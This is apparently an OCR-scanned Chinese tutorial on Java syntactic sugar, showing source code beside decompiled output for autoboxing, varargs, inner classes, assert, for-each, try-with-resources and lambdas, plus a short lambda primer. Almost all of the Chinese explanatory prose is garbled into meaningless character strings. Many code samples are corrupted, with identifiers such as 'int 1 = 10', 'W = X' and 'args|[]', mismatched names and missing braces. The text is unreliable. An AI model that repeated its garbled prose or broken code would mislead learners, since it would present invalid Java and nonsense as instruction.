Comparable x = (Comparable)xi.next();
if (w.compareTo (x) < 0)
W = X;

}

return w;

}
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EMNFIREZE, REEBENERENE, A 2B R S RmIETES IR
bR, ZEIEFIRBEECHRER KR LLAARFE Bl
, MRAB o

BIR=. BxESHE

Bah%FEwE Java BoERAEEERIEMXIRAINR, LIk int ISR
Integer IR, XMIFRMEERE, K28 Integer JIREEHRRY, int Z2BUE, X MNMIFEIUH
758 . BAXBENEETIRAERZ B TIEA N, FRLARFRERN BohEafliRiE. ||
$AZE8U byte, short, char, int, long, float, double 1 boolean XFRAIFTEEZES Byte,

Short, Character, Integer, Long, Float, Double, Boolean.

FoRE N BaEAEaRIs:

public static void main (String[] args) {
int i = 10;
Integer n = 1i;

}

REmERABNT:

public static void main (String args/[])
{

int 1 = 10;

Integer n = Integer.valueOf (i),

}

BREBaiFfarfs:

public static void main(String[] args) {
Integer 1 = 10;
int n = i;

}

REmFERABT:

public static void main (String args|[])
{
Integer i = Integer.valueOf (10);
int n = i.intValue();

}
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MERIFEEIRNEZIUEY, EEANIHMEENERRIZ Integer B9 valueOf(inh) &
%, MEREHIRHEESIABNE Integer B9 IntValue Aix,

FRLA, ZEFE1dE WARAEERER valueOf AiEEMAY, mikadESETARE
2220 xxxValue Eiiiﬂ"dﬂ’ﬂo

BRI\ AIEERESH

A (variable arguments)2% Java 1.5 B3| \B—MEHE . BRIF—1NEE
BEEHENEIENSEL

BTLUTAZSHR, B print 5E RN TS

public static void main(String[] args)
{
print ("Holis", "NART iHollis", "1EZ. www.hollischuang.com”", "QQ: 90760
7222") ;
}

public static void print (String... strs)
{
for (int i = 0; i < strs.length; i++)
{
System.out.println (strs[i]);

[4miERHD:

public static void main (String args|[])
{
print (new String[] {
"Holis", "\ub516C\u4F17\ub3F7:Hollis", "\u535A\u5BA2\uFFlAwww.hollisch
uang.com", "QQ\uFF1A907607222"
1)

public static transient void print (String strs[])
{
for(int i = 0; i < strs.length; i++)
System.out.println(strs[i]);
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MEmFRBRALEL, IRSHERERRIR, thExatB— 1 54A, HEE/Y
RKEMZEBZLEZ2EENTSHNY, ARBIESHESNEX N EST, AEHB
RPN HBAENSEUEERIRIEBRITZIET .

PS: R¥miFREMI print FiEFEBEHRE— transient friR, 2A2RFE? transient
AR LUEIRGIEE? transient A2FIFIIHBEXA? transient TEXERIERE
A? AN ERNKERK, RERMERADTT . BT BREZETLSERMEARS
HEEBE,

WERA . ME

EXBENR, FLRAEENR

37 AN S 21153

REBENMRAERES, BTLUEREEIERAINBEN— M EERR

RERRZPALAERIEZNE, —RENEMNNE— T RIENIHRES, EEEX
T AEkE , —BERiEND, REERRNTTERERY T, PRIR
il o FTLAREREMIZ F 2 a] LIFIERIINBEEF1EE

public class OutterClass {

private String userName;

public String getUserName () {
return userName;

}

public void setUserName (String userName) {
this.userName = userName;

}
public static void main(String[] args) {
}

class InnerClass/{

private String name;

public String getName () {
return name;

}
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public void setName (String name) {
this.name = name;

A ERBRBESEMRFE class X4: OutterClass$innerClass.class « Outter
Class.class o« HEAIEIXXT OutterClass class X TRMZPITIR, t5SITRITED
LAFARIZA: Parsing OutterClass.class...Parsing inner class OutterClass$innerCl
ass.class... Generating OutterClass.jad . B&IER N ELEHITRBIE, RE—
FeER— OutterClass. jad X4, RS

public class OutterClass
{
class InnerClass
{
public String getName ()
{
return name;
}
public void setName (String name)
{
this.name = name;
}
private String name;
final OutterClass this$0;

InnerClass ()

{
this.this$0 = OutterClass.this;
super () ;

}

public OutterClass()

{

}

public String getUserName ()

{
return userName;

}

public void setUserName (String userName) {
this.userName = userName;

}

public static void main (String argsl|[])

{

}

private String userName;

}
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BERE | FMmEE

—RIER T, EFTRIE—TRBHESINRE EEIMRE TXERRBMALEE,
HEMHP B ARHTRIE, WMEEEEFTINLERY, imER R HERG
RIIBIEI TR, BARERGIIRIEES, XERMRE,

g0%E C 8¢ CPP 1, AJLABET FRAMEIE Q)R SCI R (A 4mi% . HLSCfE Java PRI SEIlS:
HamiE . FleRE—RAD:

public class ConditionalCompilation ({
public static void main(String[] args) {
final boolean DEBUG = true;
if (DEBUG) {

System.out.println ("Hello, DEBUG!") ;

final boolean ONLINE = false;

if (ONLINE) {
System.out.println ("Hello, ONLINE!") ;

REmFERABT:

public class ConditionalCompilation

{

public ConditionalCompilation ()

{

}

public static void main (String args|[])

{
boolean DEBUG = true;
System.out.println("Hello, DEBUG!") ;
boolean ONLINE = false;
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BT, HIERM, ERFEEFRIRETIRE ,

XEHILHMER M mE. 3 7 false RIATIR, fmiEEpliR B ERRIRIEH TR
%o

FRLL, Java B ZROSMHmIE, SBTHMFREAEEN M B0, HRIENE
Java IESRNEENE. RIE if FIFHRER, RiFREREIEDSON false ATIBLRIER o
BTz T SEIAIR AR, WAETDERRSEI, MAEFEIEE Java SERIEHEE S
AR LT RE, X5 C/ICH+RIFMHRmIFMAELL, MLEERMIRE. £ JavaiEszir
2B SINFHRENTIE, 2ERR, BRETRBEER.

BRI\ . S

7 Java o, EHEFRM JAVA SE 1.4 BINEI, HTBEHERAM Java

RERERT accerl XRFSHER, Java ERGFHIERASTRHISHEN (X

PR, FENIRSEONKAE! ), NREFRKSRE, NBEAFX
o-ca IR

E—RESHSRINE:

public class AssertTest {
public static void main (String argsl[]) {
int a = 1;
int b = 1;
assert a == Db;
System.out.println ("AMKS: Hollis");
assert a !=Db : "Hollis";

System.out.println ("f#%: www.hollischuang.com");

4w EaEa T

public class AssertTest {
public AssertTest ()
{
}

public static void main (String args|[])

int a =1
int b =1
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if (!SassertionsDisabled && a != b)
throw new AssertionError () ;
System.out.println ("\u516C\udF17\u53F7\uFF1AHollis") ;

if (!SassertionsDisabled && a == b)

{

throw new AssertionError ("Hollis");
} else

{
System.out.println ("\u535A\uS5BA2\uFFlAwww.hollischuang.com") ;

return;

static final boolean $assertionsDisabled = !com/hollis/suguar/AssertTest.desi

redAssertionStatus () ;

REBE, RFEFZEHOABELRINBSIMLIBERNZ . FRLA, AT assert X4
EXERIITETREAE . HELMENEELUHMR 185, NRMSERN true, T
L', FRRARENIT, NRITSERN false, NFEFME AssertError SRKITHIFER
BT Sk &$assertionsDisabled FERHIE

BN . BEFEE

Ejava 79, HEFHEE, TERRMLZZERY, HATEHFZEBANEETZD
TR, XETRZASFERENBESESM, BRI EPIE.

tban:

public class Test {
public static void main (String... args) {
int 1 = 10_000;
System.out.println (i) ;

public class Test
{

public static void main(String[] args)

{
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int i = 10000;
System.out.println (i) ;

REmEEMIIE_MRT . EHMER BESHTOARERFFEETHI_, TEERE
B ERIEMEZEIE

fER+ . for—each

1832 for &3 (for—each ) BIEAREAREE, BEFLKEESRAEA, b=t for
BHRELBRZMME, BAXMEEESERUDEIAIE?

public static void main (String... args) {
String[] strs = {"Hollis", "AMT: Hollis", "{#%. www.hollischuang.com"};
for (String s : strs) {
System.out.println(s);
}
List<String> strlList = ImmutableList.of ("Hollis", "ANAXS: Hollis", "fH%: w
ww.hollischuang.com") ;
for (String s : strlList) {
System.out.println(s);

ST ISR

public static transient void main(String args|[])

{
String strs[] = {
"Hollis", "\ub5l6C\ud4F17\ub3F7\uFF1lAHollis", "\u535A\uSBA2\uFFlAwww.ho
llischuang.com"
}i
String argsl[] = strs;
int 1 = argsl.length;
for(int j = 0; j < i; j++)
{
String s = argsl([j];
System.out.println(s) ;

List strList = ImmutableList.of ("Hollis", "\ub516C\u4F17\u53F7\uFFlAHollis

", "\u535A\u5BA2\uFFl1Awww.hollischuang.com") ;

String s;

for (Iterator iterator = strlist.iterator(); iterator.hasNext (); System.ou

t.println(s))
s = (String)iterator.next();
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KIBRER, for—each BISLIRIEHELH 2 FRE 7 E1BAY for BIAFILLEE.
¥ER+— . try-with-resource

Java B, WFXMHEF IO . MEFEEESTHIFESRNRR, BZBUnk
fHEI close HARKEXE, BNRFEE—BELTIFRE, JRESSHAFHESTHR.

FARFRERSIUMEE (nally REZRM, BIEA close 3%, L, HfIEE
S5

public static void main (String[] args) {
BufferedReader br = null;
try {
String line;
br = new BufferedReader (new FileReader ("d:\\hollischuang.xml")) ;
while ((line = br.readLine()) != null) {
System.out.println(line) ;
}
} catch (IOException e) {
// handle exception
} finally {
try {
if (br != null) {
br.close();
}
} catch (IOException ex) {
// handle exception

M Java 7 75, jdk 2t T —MEFNERXARIR, FR try-with-resources 18
9, X5—TFELEAEE, RNT:

public static void main (String... args) {
try (BufferedReader br = new BufferedReader (new FileReader ("d:\\ hollischu
ang.xml"))) {
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
// handle exception
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B, XBER—AEEWN, BAKZEI—RER IOUlls ZXER, HAFAaERE
finally hERZMBRISI, ERXMFRIEEEE LEXFRARRSE. ETMHNSRE:

public static transient void main (String args|[])

{

BufferedReader br;
Throwable throwable;
br = new BufferedReader (new FileReader ("d:\\ hollischuang.xml")) ;
throwable = null;
String line;
try
{
while ((line = br.readLine()) != null)
System.out.println(line);
}
catch (Throwable throwable?2)
{
throwable = throwable?2;
throw throwable2;
}
if (br != null)
if (throwable != null)
try
{
br.close();
}
catch (Throwable throwablel)
{
throwable.addSuppressed (throwablel) ;
}
else
br.close();
break MISSING BLOCK LABEL 113;
Exception exception;
exception;
if (br != null)
if (throwable != null)
try
{
br.close();
}
catch (Throwable throwable3)
{
throwable.addSuppressed (throwable3) ;
}
else
br.close();
throw exception;
IOException ioexception;
iocexception;
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HIEENFRIZHRER, BLRNNRBMIKARIRAVRIE, FMEREPBRXNNT .
PRLA, BREDET , EEERERMEL FEFRAVER, BREEEELMRmIFFIARRY

'\l-|:| =
R+, Lambda Fix=

XTF lambda AN, BARBESBEREE, FANEEARMIFF2EENE. HLHK
B ETXMRIE. Labmda RAVFZEZRERRANEENE, ERMEE—MEEE.
SSMBAHESLREKE 7LD JVM JRERHERY lambda 18X api.

FekE—NEER lambda FixR . BH— list:

public static void main (String... args) {
List<String> strList = ImmutableList.of ("Hollis", "AAS: Hollis", "HHZ%E: w

ww.hollischuang.com") ;

strList.forEach( s -> { System.out.println(s); } );
}

NERMFHARASBERANE EE, BIEHAIERRTIIRE, ASRERmREZESER
N class X, BE, 835 lambda BARHIEREFERE—3UE,

REmERABNT:

public static /* varargs */ void main(String ... args) {

Immutablelist strList = ImmutableList.of ((Object)"Hollis", (Object)"\ub51l6
c\udfl7\u53f7\ufflaHollis", (Object)"\ub535a\uSba2\ufflawww.hollischuang.com
")

strlList.forEach ((Consumer<String>)LambdaMetafactory.metafactory(null, nul
1, null, (Ljava/lang/Object;)V, lambda$main$0 (java.lang.String ), (Ljava/lang
/String;)V) ());

}

private static /* synthetic */ void lambda$main$0 (String s) {
System.out.println(s) ;
}

JLESR, £ L, HL2ERT
5%, ZAENENNSE implMethod $6E 7 AL AJLIERIX
BESEFAT— TR T T HIE
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BRE—HEMER—RRY, 5&X List #7diE, AEBHET:

public static void main (String... args) {
List<String> strList = ImmutableList.of ("Hollis", "A#AS: Hollis", "HH%&: w

ww.hollischuang.com") ;

List HollisList = strlist.stream().filter(string -> string.contains ("Holl
is")) .collect (Collectors.tolList ());

HollisList.forEach( s -> { System.out.println(s); } );
}

ST ISR

public static /* varargs */ void main(String ... args) {

Immutablelist strList = ImmutablelList.of ((Object)"Hollis", (Object)"\u516
c\udfl7\u53f7\ufflaHollis", (Object)"\ub535a\uSba2\ufflawww.hollischuang.com
")

List<Object> HollisList = strlList.stream().filter ((Predicate<String>)Lamb
daMetafactory.metafactory(null, null, null, (Ljava/lang/Object;)Z, lambda$ma
in$0 (java.lang.String ), (Ljava/lang/String;)Z) ()).collect(Collectors.tolList

)
HollisList.forEach ((Consumer<Object>)LambdaMetafactory.metafactory (null,

null, null, (Ljava/lang/Object;)V, lambda$main$l (java.lang.Object ), (Ljava/l
ang/Object;)V) ());
}

private static /* synthetic */ void lambda$main$l (Object s) {
System.out.println(s);

private static /* synthetic */ boolean lambda$main$0 (String string) {
return string.contains ("Hollis");

}

A lambda FRAX D BERT Iambda$main$1 0 lambda$main$0 MmN Hi% .
FrLA, lambda FATNAISEIESL2KE 7 —L/RER api, TERFME, mFESIE
lambda FIATUHITRENE, E??@E‘ZiJ%%P\JE‘B api 5.

AJREIERIAYIN

prid]

—. UTRERIEH
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public class GenericTypes{
public static void method (List<String> list) {
System.out.println ("invoke method (List<String> list)");

public static void method(List<Integer> list)
System.out.println ("invoke method (List<Integer> list)");

—

FENXER{CES, ﬁﬂﬁ/\iﬂzﬁ’\l@léﬁl, RAMIRSEEEEIARR, — =2 List 3— 12
List, B2, XERABEMEEIIA. RAFKNBEHT, S5 List 7 List fRiE2/5#0
WHIRPR T , 32pl 7 —HFRIRAE SR List, B ESEOXM AN D ZAMHEE B RIE—R—*H.

. HZREF catch iZBIRVERBISH A BERTE Java BB catch 158+, &

NEBLIERR JVM Iz TRZIRE TR . AT EEEERER, JVM BEEXSoH D
FERE il A9,

=. SZENEEHTEE

public class StaticTest{
public static void main (String[] args) {
GT<Integer> gti = new GT<Integer>();
gti.var=1;
GT<String> gts = new GT<String>();
gts.var=2;

System.out.println (gti.var);

t

class GT<T>{
public static int var=0;
public void nothing (T x) {}
}

DAECHBHHEESR D 2! BT RBURRR, FBRYZE LA R EIE— =T
8L, =8 %E’Jﬁﬁﬁa?i‘iﬁ%%éi;ﬁ’]

BREAESRE
SIRIBEFEER

public class BoxingTest {
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public static void main(String[] args) {

Integer a = 1000;
Integer b = 1000;
Integer ¢ = 100;
Integer d = 100;
System.out.println("a == b is " + (a == b)) ;
System.out.println(("c == d is " + (c == d)));
}
SR
a == b is false
c == d 1is true

£ Java 5, 7 Integer RURF ESINT — M ENRER D ERFIES 4HRE . BEIXT
SEI EAERRINIRS AL T &EFER.

ERFEHEXE-128 & +127,
QIEAT B . FRMIERMEETSRAER.
1438 for JEI4

ConcurrentModificationException

for (Student stu : students) {
if (stu.getId() == 2)
students.remove (stu) ;

et 8.

lterator @ TIEE—MEZAIZIES, HBEBE— mutex #i. Iterator #eIEZ
BEEEII—MEAFERIRAVENRS 1R, SERNNRHEREDHAT, XPR5IFRNA
BARELKE, MUSRSEFTEERHNNIMEMK A EZXCINR, TLUIRER

fail-fast &N Iterator €5 i S8,
Fir LA ETFENMEEARARIFFRIERNOTRE R TR . BRI LUMER
KERFGE KMERITSR, i EMRHEnERT

SHIRRTHEFZRS I —EE
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BIE MR T 12 7 Java RERRNEZENE. FMBIEEAERRREETAARBET AR
—MEEME . BEXMEZREARARINR . BERKNIT, TEHITHENE, RN
JVMIARRDIE X . SFANNEEEEEEZE, MM AIIEERIBEERIXET5ERY
5%, HLAR—LHMBERBANEENE.

BT XEEERE, WNEAEFANIHRATLIAKEAGR, BRI tBRERITEE
F. (ERZRIRT T TRIE, BRiE,

SEHEN:

Java B9 fmiE

Java Ff9 Switch X#AY . FRIA | FREGEMERSCINATD
REDM Java A E SRR — KRNI EER 2 E R FILIIRRT
Java RIMES SRRV A MR

Java FIRY1R3E for fEIL (for each ) AISEIFIE S

Java iz BIRVIEAR

Java HERIRIEZ G

Java PRye] TS >



http://www.hollischuang.com/archives/58
http://www.hollischuang.com/archives/61
http://www.hollischuang.com/archives/197
http://www.hollischuang.com/archives/195
http://www.hollischuang.com/archives/1776
http://www.hollischuang.com/archives/230
http://www.hollischuang.com/archives/1174
http://www.hollischuang.com/archives/1271

|ambda FIAT, < 372

lambda Fixz(

Lambda FA=X, tBEJFRAAE, SN Java 8 AHIIREEMIFHE.
Lambda SIHERFUEA—NEENSH ( REERSEEBHGET) .
A Lambda ZAXATLUMFERBTHNEINEEEE,

7S

lambda FATLANEEEILAT:

(parameters) -> expression
=7

(parameters) ->{ statements; }
AT lambda FRIATAIEE4HIE:
o ANIEREERE: ARBERPESHERE, RmERJUS—IRBIZSHIE.,
 IRNSHERS: — 1T SHLHFENEES, BSMSHFEENEES.

 IERURIES: WIREFREET—MNEG, HAFRERAES
o AR EXRET INREFRE—PRAVREIENFZSFZEREE, KES

Lambda Fix=3L61

//1. ATHESE, REUEN 5

() —>5
/7 2. BR—ASHHTERR) R IEIE 2 fFHIE

X —> 2 = x

// 3. B% 2 ANSE ), R EAATT ZE
(Xr Y) -> X - Y

// 4. FEW 2 S int BYEEEL, IR R AD

(int x, int y) -> x + vy

// 5. B2 string W&, HFAEER GITH, AREUEME ERRBERLIERE void)

(String s) -> System.out.print(s)
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Lambda FEAXFERRE N THRHITHIEEREEZO, flan, —MERsEEO,
£ EEfIFh, FAMERZFREAR Lambda RXREKENX MathOperation #0OM9755% .
SRIEFAIEN T sayMessage A9HIT -

Lambda FERXNRETERERZERIMR, FHLST Java BBERZRAAIREHN
AYGRTERE

T E{FAsE
lambda FANRBESIARC T final RISNERERRE, XFiZ2R A8 lambda &
BMEENEEINIBEIEE, SUSRFEIR. ML, mESHE:

String first = "";

Comparator<String> comparator = (first, second) -> Integer.compare (first.l
ngth (), second.length()):;

JRIZ bt


https://www.runoob.com/java/java8-lambda-expressions.html
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fff: Java EfiEHEE
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